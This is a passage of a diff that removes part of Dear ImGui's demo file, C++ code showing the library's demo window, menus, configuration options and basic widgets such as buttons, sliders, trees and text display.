contents of the big ShowDemoWindow() function into smaller functions -// (because the link time of very large functions grow non-linearly) -static void ShowDemoWindowWidgets(); -static void ShowDemoWindowLayout(); -static void ShowDemoWindowPopups(); -static void ShowDemoWindowTables(); -static void ShowDemoWindowColumns(); -static void ShowDemoWindowMisc(); - -// Demonstrate most Dear ImGui features (this is big function!) -// You may execute this function to experiment with the UI and understand what it does. -// You may then search for keywords in the code when you are interested by a specific feature. -void ImGui::ShowDemoWindow(bool* p_open) -{ - // Exceptionally add an extra assert here for people confused about initial Dear ImGui setup - // Most ImGui functions would normally just crash if the context is missing. - IM_ASSERT(ImGui::GetCurrentContext() != NULL && "Missing dear imgui context. Refer to examples app!"); - - // Examples Apps (accessible from the "Examples" menu) - static bool show_app_main_menu_bar = false; - static bool show_app_documents = false; - - static bool show_app_console = false; - static bool show_app_log = false; - static bool show_app_layout = false; - static bool show_app_property_editor = false; - static bool show_app_long_text = false; - static bool show_app_auto_resize = false; - static bool show_app_constrained_resize = false; - static bool show_app_simple_overlay = false; - static bool show_app_fullscreen = false; - static bool show_app_window_titles = false; - static bool show_app_custom_rendering = false; - - if (show_app_main_menu_bar) ShowExampleAppMainMenuBar(); - if (show_app_documents) ShowExampleAppDocuments(&show_app_documents); - - if (show_app_console) ShowExampleAppConsole(&show_app_console); - if (show_app_log) ShowExampleAppLog(&show_app_log); - if (show_app_layout) ShowExampleAppLayout(&show_app_layout); - if (show_app_property_editor) ShowExampleAppPropertyEditor(&show_app_property_editor); - if (show_app_long_text) ShowExampleAppLongText(&show_app_long_text); - if (show_app_auto_resize) ShowExampleAppAutoResize(&show_app_auto_resize); - if (show_app_constrained_resize) ShowExampleAppConstrainedResize(&show_app_constrained_resize); - if (show_app_simple_overlay) ShowExampleAppSimpleOverlay(&show_app_simple_overlay); - if (show_app_fullscreen) ShowExampleAppFullscreen(&show_app_fullscreen); - if (show_app_window_titles) ShowExampleAppWindowTitles(&show_app_window_titles); - if (show_app_custom_rendering) ShowExampleAppCustomRendering(&show_app_custom_rendering); - - // Dear ImGui Apps (accessible from the "Tools" menu) - static bool show_app_metrics = false; - static bool show_app_style_editor = false; - static bool show_app_about = false; - - if (show_app_metrics) { ImGui::ShowMetricsWindow(&show_app_metrics); } - if (show_app_about) { ImGui::ShowAboutWindow(&show_app_about); } - if (show_app_style_editor) - { - ImGui::Begin("Dear ImGui Style Editor", &show_app_style_editor); - ImGui::ShowStyleEditor(); - ImGui::End(); - } - - // Demonstrate the various window flags. Typically you would just use the default! - static bool no_titlebar = false; - static bool no_scrollbar = false; - static bool no_menu = false; - static bool no_move = false; - static bool no_resize = false; - static bool no_collapse = false; - static bool no_close = false; - static bool no_nav = false; - static bool no_background = false; - static bool no_bring_to_front = false; - - ImGuiWindowFlags window_flags = 0; - if (no_titlebar) window_flags |= ImGuiWindowFlags_NoTitleBar; - if (no_scrollbar) window_flags |= ImGuiWindowFlags_NoScrollbar; - if (!no_menu) window_flags |= ImGuiWindowFlags_MenuBar; - if (no_move) window_flags |= ImGuiWindowFlags_NoMove; - if (no_resize) window_flags |= ImGuiWindowFlags_NoResize; - if (no_collapse) window_flags |= ImGuiWindowFlags_NoCollapse; - if (no_nav) window_flags |= ImGuiWindowFlags_NoNav; - if (no_background) window_flags |= ImGuiWindowFlags_NoBackground; - if (no_bring_to_front) window_flags |= ImGuiWindowFlags_NoBringToFrontOnFocus; - if (no_close) p_open = NULL; // Don't pass our bool* to Begin - - // We specify a default position/size in case there's no data in the .ini file. - // We only do it to make the demo applications a little more welcoming, but typically this isn't required. - const ImGuiViewport* main_viewport = ImGui::GetMainViewport(); - ImGui::SetNextWindowPos(ImVec2(main_viewport->WorkPos.x + 650, main_viewport->WorkPos.y + 20), ImGuiCond_FirstUseEver); - ImGui::SetNextWindowSize(ImVec2(550, 680), ImGuiCond_FirstUseEver); - - // Main body of the Demo window starts here. - if (!ImGui::Begin("Dear ImGui Demo", p_open, window_flags)) - { - // Early out if the window is collapsed, as an optimization. - ImGui::End(); - return; - } - - // Most "big" widgets share a common width settings by default. See 'Demo->Layout->Widgets Width' for details. - - // e.g. Use 2/3 of the space for widgets and 1/3 for labels (right align) - //ImGui::PushItemWidth(-ImGui::GetWindowWidth() * 0.35f); - - // e.g. Leave a fixed amount of width for labels (by passing a negative value), the rest goes to widgets. - ImGui::PushItemWidth(ImGui::GetFontSize() * -12); - - // Menu Bar - if (ImGui::BeginMenuBar()) - { - if (ImGui::BeginMenu("Menu")) - { - ShowExampleMenuFile(); - ImGui::EndMenu(); - } - if (ImGui::BeginMenu("Examples")) - { - ImGui::MenuItem("Main menu bar", NULL, &show_app_main_menu_bar); - ImGui::MenuItem("Console", NULL, &show_app_console); - ImGui::MenuItem("Log", NULL, &show_app_log); - ImGui::MenuItem("Simple layout", NULL, &show_app_layout); - ImGui::MenuItem("Property editor", NULL, &show_app_property_editor); - ImGui::MenuItem("Long text display", NULL, &show_app_long_text); - ImGui::MenuItem("Auto-resizing window", NULL, &show_app_auto_resize); - ImGui::MenuItem("Constrained-resizing window", NULL, &show_app_constrained_resize); - ImGui::MenuItem("Simple overlay", NULL, &show_app_simple_overlay); - ImGui::MenuItem("Fullscreen window", NULL, &show_app_fullscreen); - ImGui::MenuItem("Manipulating window titles", NULL, &show_app_window_titles); - ImGui::MenuItem("Custom rendering", NULL, &show_app_custom_rendering); - ImGui::MenuItem("Documents", NULL, &show_app_documents); - ImGui::EndMenu(); - } - if (ImGui::BeginMenu("Tools")) - { - ImGui::MenuItem("Metrics/Debugger", NULL, &show_app_metrics); - ImGui::MenuItem("Style Editor", NULL, &show_app_style_editor); - ImGui::MenuItem("About Dear ImGui", NULL, &show_app_about); - ImGui::EndMenu(); - } - ImGui::EndMenuBar(); - } - - ImGui::Text("dear imgui says hello. (%s)", IMGUI_VERSION); - ImGui::Spacing(); - - if (ImGui::CollapsingHeader("Help")) - { - ImGui::Text("ABOUT THIS DEMO:"); - ImGui::BulletText("Sections below are demonstrating many aspects of the library."); - ImGui::BulletText("The \"Examples\" menu above leads to more demo contents."); - ImGui::BulletText("The \"Tools\" menu above gives access to: About Box, Style Editor,\n" - "and Metrics/Debugger (general purpose Dear ImGui debugging tool)."); - ImGui::Separator(); - - ImGui::Text("PROGRAMMER GUIDE:"); - ImGui::BulletText("See the ShowDemoWindow() code in imgui_demo.cpp. <- you are here!"); - ImGui::BulletText("See comments in imgui.cpp."); - ImGui::BulletText("See example applications in the examples/ folder."); - ImGui::BulletText("Read the FAQ at http://www.dearimgui.org/faq/"); - ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableKeyboard' for keyboard controls."); - ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableGamepad' for gamepad controls."); - ImGui::Separator(); - - ImGui::Text("USER GUIDE:"); - ImGui::ShowUserGuide(); - } - - if (ImGui::CollapsingHeader("Configuration")) - { - ImGuiIO& io = ImGui::GetIO(); - - if (ImGui::TreeNode("Configuration##2")) - { - ImGui::CheckboxFlags("io.ConfigFlags: NavEnableKeyboard", &io.ConfigFlags, ImGuiConfigFlags_NavEnableKeyboard); - ImGui::SameLine(); HelpMarker("Enable keyboard controls."); - ImGui::CheckboxFlags("io.ConfigFlags: NavEnableGamepad", &io.ConfigFlags, ImGuiConfigFlags_NavEnableGamepad); - ImGui::SameLine(); HelpMarker("Enable gamepad controls. Require backend to set io.BackendFlags |= ImGuiBackendFlags_HasGamepad.\n\nRead instructions in imgui.cpp for details."); - ImGui::CheckboxFlags("io.ConfigFlags: NavEnableSetMousePos", &io.ConfigFlags, ImGuiConfigFlags_NavEnableSetMousePos); - ImGui::SameLine(); HelpMarker("Instruct navigation to move the mouse cursor. See comment for ImGuiConfigFlags_NavEnableSetMousePos."); - ImGui::CheckboxFlags("io.ConfigFlags: NoMouse", &io.ConfigFlags, ImGuiConfigFlags_NoMouse); - if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) - { - // The "NoMouse" option can get us stuck with a disabled mouse! Let's provide an alternative way to fix it: - if (fmodf((float)ImGui::GetTime(), 0.40f) < 0.20f) - { - ImGui::SameLine(); - ImGui::Text("<>"); - } - if (ImGui::IsKeyPressed(ImGui::GetKeyIndex(ImGuiKey_Space))) - io.ConfigFlags &= ~ImGuiConfigFlags_NoMouse; - } - ImGui::CheckboxFlags("io.ConfigFlags: NoMouseCursorChange", &io.ConfigFlags, ImGuiConfigFlags_NoMouseCursorChange); - ImGui::SameLine(); HelpMarker("Instruct backend to not alter mouse cursor shape and visibility."); - ImGui::Checkbox("io.ConfigInputTextCursorBlink", &io.ConfigInputTextCursorBlink); - ImGui::SameLine(); HelpMarker("Enable blinking cursor (optional as some users consider it to be distracting)"); - ImGui::Checkbox("io.ConfigDragClickToInputText", &io.ConfigDragClickToInputText); - ImGui::SameLine(); HelpMarker("Enable turning DragXXX widgets into text input with a simple mouse click-release (without moving)."); - ImGui::Checkbox("io.ConfigWindowsResizeFromEdges", &io.ConfigWindowsResizeFromEdges); - ImGui::SameLine(); HelpMarker("Enable resizing of windows from their edges and from the lower-left corner.\nThis requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback."); - ImGui::Checkbox("io.ConfigWindowsMoveFromTitleBarOnly", &io.ConfigWindowsMoveFromTitleBarOnly); - ImGui::Checkbox("io.MouseDrawCursor", &io.MouseDrawCursor); - ImGui::SameLine(); HelpMarker("Instruct Dear ImGui to render a mouse cursor itself. Note that a mouse cursor rendered via your application GPU rendering path will feel more laggy than hardware cursor, but will be more in sync with your other visuals.\n\nSome desktop applications may use both kinds of cursors (e.g. enable software cursor only when resizing/dragging something)."); - ImGui::Text("Also see Style->Rendering for rendering options."); - ImGui::TreePop(); - ImGui::Separator(); - } - - if (ImGui::TreeNode("Backend Flags")) - { - HelpMarker( - "Those flags are set by the backends (imgui_impl_xxx files) to specify their capabilities.\n" - "Here we expose then as read-only fields to avoid breaking interactions with your backend."); - - // Make a local copy to avoid modifying actual backend flags. - ImGuiBackendFlags backend_flags = io.BackendFlags; - ImGui::CheckboxFlags("io.BackendFlags: HasGamepad", &backend_flags, ImGuiBackendFlags_HasGamepad); - ImGui::CheckboxFlags("io.BackendFlags: HasMouseCursors", &backend_flags, ImGuiBackendFlags_HasMouseCursors); - ImGui::CheckboxFlags("io.BackendFlags: HasSetMousePos", &backend_flags, ImGuiBackendFlags_HasSetMousePos); - ImGui::CheckboxFlags("io.BackendFlags: RendererHasVtxOffset", &backend_flags, ImGuiBackendFlags_RendererHasVtxOffset); - ImGui::TreePop(); - ImGui::Separator(); - } - - if (ImGui::TreeNode("Style")) - { - HelpMarker("The same contents can be accessed in 'Tools->Style Editor' or by calling the ShowStyleEditor() function."); - ImGui::ShowStyleEditor(); - ImGui::TreePop(); - ImGui::Separator(); - } - - if (ImGui::TreeNode("Capture/Logging")) - { - HelpMarker( - "The logging API redirects all text output so you can easily capture the content of " - "a window or a block. Tree nodes can be automatically expanded.\n" - "Try opening any of the contents below in this window and then click one of the \"Log To\" button."); - ImGui::LogButtons(); - - HelpMarker("You can also call ImGui::LogText() to output directly to the log without a visual output."); - if (ImGui::Button("Copy \"Hello, world!\" to clipboard")) - { - ImGui::LogToClipboard(); - ImGui::LogText("Hello, world!"); - ImGui::LogFinish(); - } - ImGui::TreePop(); - } - } - - if (ImGui::CollapsingHeader("Window options")) - { - if (ImGui::BeginTable("split", 3)) - { - ImGui::TableNextColumn(); ImGui::Checkbox("No titlebar", &no_titlebar); - ImGui::TableNextColumn(); ImGui::Checkbox("No scrollbar", &no_scrollbar); - ImGui::TableNextColumn(); ImGui::Checkbox("No menu", &no_menu); - ImGui::TableNextColumn(); ImGui::Checkbox("No move", &no_move); - ImGui::TableNextColumn(); ImGui::Checkbox("No resize", &no_resize); - ImGui::TableNextColumn(); ImGui::Checkbox("No collapse", &no_collapse); - ImGui::TableNextColumn(); ImGui::Checkbox("No close", &no_close); - ImGui::TableNextColumn(); ImGui::Checkbox("No nav", &no_nav); - ImGui::TableNextColumn(); ImGui::Checkbox("No background", &no_background); - ImGui::TableNextColumn(); ImGui::Checkbox("No bring to front", &no_bring_to_front); - ImGui::EndTable(); - } - } - - // All demo contents - ShowDemoWindowWidgets(); - ShowDemoWindowLayout(); - ShowDemoWindowPopups(); - ShowDemoWindowTables(); - ShowDemoWindowMisc(); - - // End of ShowDemoWindow() - ImGui::PopItemWidth(); - ImGui::End(); -} - -static void ShowDemoWindowWidgets() -{ - if (!ImGui::CollapsingHeader("Widgets")) - return; - - if (ImGui::TreeNode("Basic")) - { - static int clicked = 0; - if (ImGui::Button("Button")) - clicked++; - if (clicked & 1) - { - ImGui::SameLine(); - ImGui::Text("Thanks for clicking me!"); - } - - static bool check = true; - ImGui::Checkbox("checkbox", &check); - - static int e = 0; - ImGui::RadioButton("radio a", &e, 0); ImGui::SameLine(); - ImGui::RadioButton("radio b", &e, 1); ImGui::SameLine(); - ImGui::RadioButton("radio c", &e, 2); - - // Color buttons, demonstrate using PushID() to add unique identifier in the ID stack, and changing style. - for (int i = 0; i < 7; i++) - { - if (i > 0) - ImGui::SameLine(); - ImGui::PushID(i); - ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.6f)); - ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.7f)); - ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.8f, 0.8f)); - ImGui::Button("Click"); - ImGui::PopStyleColor(3); - ImGui::PopID(); - } - - // Use AlignTextToFramePadding() to align text baseline to the baseline of framed widgets elements - // (otherwise a Text+SameLine+Button sequence will have the text a little too high by default!) - // See 'Demo->Layout->Text Baseline Alignment' for details. - ImGui::AlignTextToFramePadding(); - ImGui::Text("Hold to repeat:"); - ImGui::SameLine(); - - // Arrow buttons with Repeater - static int counter = 0; - float spacing = ImGui::GetStyle().ItemInnerSpacing.x; - ImGui::PushButtonRepeat(true); - if (ImGui::ArrowButton("##left", ImGuiDir_Left)) { counter--; } - ImGui::SameLine(0.0f, spacing); - if (ImGui::ArrowButton("##right", ImGuiDir_Right)) { counter++; } - ImGui::PopButtonRepeat(); - ImGui::SameLine(); - ImGui::Text("%d", counter); - - ImGui::Text("Hover over me"); - if (ImGui::IsItemHovered()) - ImGui::SetTooltip("I am a tooltip"); - - ImGui::SameLine(); - ImGui::Text("- or me"); - if (ImGui::IsItemHovered()) - { - ImGui::BeginTooltip(); - ImGui::Text("I am a fancy tooltip"); - static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; - ImGui::PlotLines("Curve", arr, IM_ARRAYSIZE(arr)); - ImGui::EndTooltip(); - } - - ImGui::Separator(); - - ImGui::LabelText("label", "Value"); - - { - // Using the _simplified_ one-liner Combo() api here - // See "Combo" section for examples of how to use the more flexible BeginCombo()/EndCombo() api. - const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIIIIII", "JJJJ", "KKKKKKK" }; - static int item_current = 0; - ImGui::Combo("combo", &item_current, items, IM_ARRAYSIZE(items)); - ImGui::SameLine(); HelpMarker( - "Using the simplified one-liner Combo API here.\nRefer to the \"Combo\" section below for an explanation of how to use the more flexible and general BeginCombo/EndCombo API."); - } - - { - // To wire InputText() with std::string or any other custom string type, - // see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file. - static char str0[128] = "Hello, world!"; - ImGui::InputText("input text", str0, IM_ARRAYSIZE(str0)); - ImGui::SameLine(); HelpMarker( - "USER:\n" - "Hold SHIFT or use mouse to select text.\n" - "CTRL+Left/Right to word jump.\n" - "CTRL+A or double-click to select all.\n" - "CTRL+X,CTRL+C,CTRL+V clipboard.\n" - "CTRL+Z,CTRL+Y undo/redo.\n" - "ESCAPE to revert.\n\n" - "PROGRAMMER:\n" - "You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputText() " - "to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example (this is not demonstrated " - "in imgui_demo.cpp)."); - - static char str1[128] = ""; - ImGui::InputTextWithHint("input text (w/ hint)", "enter text here", str1, IM_ARRAYSIZE(str1)); - - static int i0 = 123; - ImGui::InputInt("input int", &i0); - ImGui::SameLine(); HelpMarker( - "You can apply arithmetic operators +,*,/ on numerical values.\n" - " e.g. [ 100 ], input \'*2\', result becomes [ 200 ]\n" - "Use +- to subtract."); - - static float f0 = 0.001f; - ImGui::InputFloat("input float", &f0, 0.01f, 1.0f, "%.3f"); - - static double d0 = 999999.00000001; - ImGui::InputDouble("input double", &d0, 0.01f, 1.0f, "%.8f"); - - static float f1 = 1.e10f; - ImGui::InputFloat("input scientific", &f1, 0.0f, 0.0f, "%e"); - ImGui::SameLine(); HelpMarker( - "You can input value using the scientific notation,\n" - " e.g. \"1e+8\" becomes \"100000000\"."); - - static float vec4a[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; - ImGui::InputFloat3("input float3", vec4a); - } - - { - static int i1 = 50, i2 = 42; - ImGui::DragInt("drag int", &i1, 1); - ImGui::SameLine(); HelpMarker( - "Click and drag to edit value.\n" - "Hold SHIFT/ALT for faster/slower edit.\n" - "Double-click or CTRL+click to input value."); - - ImGui::DragInt("drag int 0..100", &i2, 1, 0, 100, "%d%%", ImGuiSliderFlags_AlwaysClamp); - - static float f1 = 1.00f, f2 = 0.0067f; - ImGui::DragFloat("drag float", &f1, 0.005f); - ImGui::DragFloat("drag small float", &f2, 0.0001f, 0.0f, 0.0f, "%.06f ns"); - } - - { - static int i1 = 0; - ImGui::SliderInt("slider int", &i1, -1, 3); - ImGui::SameLine(); HelpMarker("CTRL+click to input value."); - - static float f1 = 0.123f, f2 = 0.0f; - ImGui::SliderFloat("slider float", &f1, 0.0f, 1.0f, "ratio = %.3f"); - ImGui::SliderFloat("slider float (log)", &f2, -10.0f, 10.0f, "%.4f", ImGuiSliderFlags_Logarithmic); - - static float angle = 0.0f; - ImGui::SliderAngle("slider angle", &angle); - - // Using the format string to display a name instead of an integer. - // Here we completely omit '%d' from the format string, so it'll only display a name. - // This technique can also be used with DragInt(). - enum Element { Element_Fire, Element_Earth, Element_Air, Element_Water, Element_COUNT }; - static int elem = Element_Fire; - const char* elems_names[Element_COUNT] = { "Fire", "Earth", "Air", "Water" }; - const char* elem_name = (elem >= 0 && elem < Element_COUNT) ? elems_names[elem] : "Unknown"; - ImGui::SliderInt("slider enum", &elem, 0, Element_COUNT - 1, elem_name); - ImGui::SameLine(); HelpMarker("Using the format string parameter to display a name instead of the underlying integer."); - } - - { - static float col1[3] = { 1.0f, 0.0f, 0.2f }; - static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; - ImGui::ColorEdit3("color 1", col1); - ImGui::SameLine(); HelpMarker( - "Click on the color square to open a color picker.\n" - "Click and hold to use drag and drop.\n" - "Right-click on the color square to show options.\n" - "CTRL+click on individual component to input value.\n"); - - ImGui::ColorEdit4("color 2", col2); - } - - { - // Using the _simplified_ one-liner ListBox() api here - // See "List boxes" section for examples of how to use the more flexible BeginListBox()/EndListBox() api. - const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi", "Mango", "Orange", "Pineapple", "Strawberry", "Watermelon" }; - static int item_current = 1; - ImGui::ListBox("listbox", &item_current, items, IM_ARRAYSIZE(items), 4); - ImGui::SameLine(); HelpMarker( - "Using the simplified one-liner ListBox API here.\nRefer to the \"List boxes\" section below for an explanation of how to use the more flexible and general BeginListBox/EndListBox API."); - } - - ImGui::TreePop(); - } - - // Testing ImGuiOnceUponAFrame helper. - //static ImGuiOnceUponAFrame once; - //for (int i = 0; i < 5; i++) - // if (once) - // ImGui::Text("This will be displayed only once."); - - if (ImGui::TreeNode("Trees")) - { - if (ImGui::TreeNode("Basic trees")) - { - for (int i = 0; i < 5; i++) - { - // Use SetNextItemOpen() so set the default state of a node to be open. We could - // also use TreeNodeEx() with the ImGuiTreeNodeFlags_DefaultOpen flag to achieve the same thing! - if (i == 0) - ImGui::SetNextItemOpen(true, ImGuiCond_Once); - - if (ImGui::TreeNode((void*)(intptr_t)i, "Child %d", i)) - { - ImGui::Text("blah blah"); - ImGui::SameLine(); - if (ImGui::SmallButton("button")) {} - ImGui::TreePop(); - } - } - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Advanced, with Selectable nodes")) - { - HelpMarker( - "This is a more typical looking tree with selectable nodes.\n" - "Click to select, CTRL+Click to toggle, click on arrows or double-click to open."); - static ImGuiTreeNodeFlags base_flags = ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_SpanAvailWidth; - static bool align_label_with_current_x_position = false; - static bool test_drag_and_drop = false; - ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnArrow", &base_flags, ImGuiTreeNodeFlags_OpenOnArrow); - ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnDoubleClick", &base_flags, ImGuiTreeNodeFlags_OpenOnDoubleClick); - ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanAvailWidth", &base_flags, ImGuiTreeNodeFlags_SpanAvailWidth); ImGui::SameLine(); HelpMarker("Extend hit area to all available width instead of allowing more items to be laid out after the node."); - ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanFullWidth", &base_flags, ImGuiTreeNodeFlags_SpanFullWidth); - ImGui::Checkbox("Align label with current X position", &align_label_with_current_x_position); - ImGui::Checkbox("Test tree node as drag source", &test_drag_and_drop); - ImGui::Text("Hello!"); - if (align_label_with_current_x_position) - ImGui::Unindent(ImGui::GetTreeNodeToLabelSpacing()); - - // 'selection_mask' is dumb representation of what may be user-side selection state. - // You may retain selection state inside or outside your objects in whatever format you see fit. - // 'node_clicked' is temporary storage of what node we have clicked to process selection at the end - /// of the loop. May be a pointer to your own node type, etc. - static int selection_mask = (1 << 2); - int node_clicked = -1; - for (int i = 0; i < 6; i++) - { - // Disable the default "open on single-click behavior" + set Selected flag according to our selection. - ImGuiTreeNodeFlags node_flags = base_flags; - const bool is_selected = (selection_mask & (1 << i)) != 0; - if (is_selected) - node_flags |= ImGuiTreeNodeFlags_Selected; - if (i < 3) - { - // Items 0..2 are Tree Node - bool node_open = ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Node %d", i); - if (ImGui::IsItemClicked()) - node_clicked = i; - if (test_drag_and_drop && ImGui::BeginDragDropSource()) - { - ImGui::SetDragDropPayload("_TREENODE", NULL, 0); - ImGui::Text("This is a drag and drop source"); - ImGui::EndDragDropSource(); - } - if (node_open) - { - ImGui::BulletText("Blah blah\nBlah Blah"); - ImGui::TreePop(); - } - } - else - { - // Items 3..5 are Tree Leaves - // The only reason we use TreeNode at all is to allow selection of the leaf. Otherwise we can - // use BulletText() or advance the cursor by GetTreeNodeToLabelSpacing() and call Text(). - node_flags |= ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen; // ImGuiTreeNodeFlags_Bullet - ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Leaf %d", i); - if (ImGui::IsItemClicked()) - node_clicked = i; - if (test_drag_and_drop && ImGui::BeginDragDropSource()) - { - ImGui::SetDragDropPayload("_TREENODE", NULL, 0); - ImGui::Text("This is a drag and drop source"); - ImGui::EndDragDropSource(); - } - } - } - if (node_clicked != -1) - { - // Update selection state - // (process outside of tree loop to avoid visual inconsistencies during the clicking frame) - if (ImGui::GetIO().KeyCtrl) - selection_mask ^= (1 << node_clicked); // CTRL+click to toggle - else //if (!(selection_mask & (1 << node_clicked))) // Depending on selection behavior you want, may want to preserve selection when clicking on item that is part of the selection - selection_mask = (1 << node_clicked); // Click to single-select - } - if (align_label_with_current_x_position) - ImGui::Indent(ImGui::GetTreeNodeToLabelSpacing()); - ImGui::TreePop(); - } - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Collapsing Headers")) - { - static bool closable_group = true; - ImGui::Checkbox("Show 2nd header", &closable_group); - if (ImGui::CollapsingHeader("Header", ImGuiTreeNodeFlags_None)) - { - ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); - for (int i = 0; i < 5; i++) - ImGui::Text("Some content %d", i); - } - if (ImGui::CollapsingHeader("Header with a close button", &closable_group)) - { - ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); - for (int i = 0; i < 5; i++) - ImGui::Text("More content %d", i); - } - /* - if (ImGui::CollapsingHeader("Header with a bullet", ImGuiTreeNodeFlags_Bullet)) - ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); - */ - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Bullets")) - { - ImGui::BulletText("Bullet point 1"); - ImGui::BulletText("Bullet point 2\nOn multiple lines"); - if (ImGui::TreeNode("Tree node")) - { - ImGui::BulletText("Another bullet point"); - ImGui::TreePop(); - } - ImGui::Bullet(); ImGui::Text("Bullet point 3 (two calls)"); - ImGui::Bullet(); ImGui::SmallButton("Button"); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Text")) - { - if (ImGui::TreeNode("Colorful Text")) - { - // Using shortcut. You can use PushStyleColor()/PopStyleColor() for more flexibility. - ImGui::TextColored(ImVec4(1.0f, 0.0f, 1.0f, 1.0f), "Pink"); - ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Yellow"); - ImGui::TextDisabled("Disabled"); - ImGui::SameLine(); HelpMarker("The TextDisabled color is stored in ImGuiStyle."); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Word Wrapping")) - { - // Using shortcut. You can use PushTextWrapPos()/PopTextWrapPos() for more flexibility. - ImGui::TextWrapped( - "This text should automatically wrap on the edge of the window. The current implementation " - "for text wrapping follows simple rules suitable for English and possibly other languages."); - ImGui::Spacing(); - - static float wrap_width = 200.0f; - ImGui::SliderFloat("Wrap width", &wrap_width, -20, 600, "%.0f"); - - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - for (int n = 0; n < 2; n++) - { - ImGui::Text("Test paragraph %d:", n); - ImVec2 pos = ImGui::GetCursorScreenPos(); - ImVec2 marker_min = ImVec2(pos.x + wrap_width, pos.y); - ImVec2 marker_max = ImVec2(pos.x + wrap_width + 10, pos.y + ImGui::GetTextLineHeight()); - ImGui::PushTextWrapPos(ImGui::GetCursorPos().x + wrap_width); - if (n == 0) - ImGui::Text("The lazy dog is a good dog. This paragraph should fit within %.0f pixels. Testing a 1 character word. The quick brown fox jumps over the lazy dog.", wrap_width); - else - ImGui::Text("aaaaaaaa bbbbbbbb, c cccccccc,dddddddd. d eeeeeeee ffffffff. gggggggg!hhhhhhhh"); - - // Draw actual text bounding box, following by marker of our expected limit (should not overlap!) - draw_list->AddRect(ImGui::GetItemRectMin(), ImGui::GetItemRectMax(), IM_COL32(255, 255, 0, 255)); - draw_list->AddRectFilled(marker_min, marker_max, IM_COL32(255, 0, 255, 255)); - ImGui::PopTextWrapPos(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("UTF-8 Text")) - { - // UTF-8 test with Japanese characters - // (Needs a suitable font? Try "Google Noto" or "Arial Unicode". See docs/FONTS.md for details.) - // - From C++11 you can use the u8"my text" syntax to encode literal strings as UTF-8 - // - For earlier compiler, you may be able to encode your sources as UTF-8 (e.g. in Visual Studio, you - // can save your source files as 'UTF-8 without signature'). - // - FOR THIS DEMO FILE ONLY, BECAUSE WE WANT TO SUPPORT OLD COMPILERS, WE ARE *NOT* INCLUDING RAW UTF-8 - // CHARACTERS IN THIS SOURCE FILE. Instead we are encoding a few strings with hexadecimal constants. - // Don't do this in your application! Please use u8"text in any language" in your application! - // Note that characters values are preserved even by InputText() if the font cannot be displayed, - // so you can safely copy & paste garbled characters into another application. - ImGui::TextWrapped( - "CJK text will only appears if the font was loaded with the appropriate CJK character ranges. " - "Call io.Fonts->AddFontFromFileTTF() manually to load extra character ranges. " - "Read docs/FONTS.md for details."); - ImGui::Text("Hiragana: \xe3\x81\x8b\xe3\x81\x8d\xe3\x81\x8f\xe3\x81\x91\xe3\x81\x93 (kakikukeko)"); // Normally we would use u8"blah blah" with the proper characters directly in the string. - ImGui::Text("Kanjis: \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e (nihongo)"); - static char buf[32] = "\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e"; - //static char buf[32] = u8"NIHONGO"; // <- this is how you would write it with C++11, using real kanjis - ImGui::InputText("UTF-8 input", buf, IM_ARRAYSIZE(buf)); - ImGui::TreePop(); - } - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Images")) - { - ImGuiIO& io = ImGui::GetIO(); - ImGui::TextWrapped( - "Below we are displaying the font texture (which is the only texture we have access to in this demo). " - "Use the 'ImTextureID' type as storage to pass pointers or identifier to your own texture data. " - "Hover the texture for a zoomed view!"); - - // Below we are displaying the font texture because it is the only texture we have access to inside the demo! - // Remember that ImTextureID is just storage for whatever you want it to be. It is essentially a value that - // will be passed to the rendering backend via the ImDrawCmd structure. - // If you use one of the default imgui_impl_XXXX.cpp rendering backend, they all have comments at the top - // of their respective source file to specify what they expect to be stored in ImTextureID, for example: - // - The imgui_impl_dx11.cpp renderer expect a 'ID3D11ShaderResourceView*' pointer - // - The imgui_impl_opengl3.cpp renderer expect a GLuint OpenGL texture identifier, etc. - // More: - // - If you decided that ImTextureID = MyEngineTexture*, then you can pass your MyEngineTexture* pointers - // to ImGui::Image(), and gather width/height through your own functions, etc. - // - You can use ShowMetricsWindow() to inspect the draw data that are being passed to your renderer, - // it will help you debug issues if you are confused about it. - // - Consider using the lower-level ImDrawList::AddImage() API, 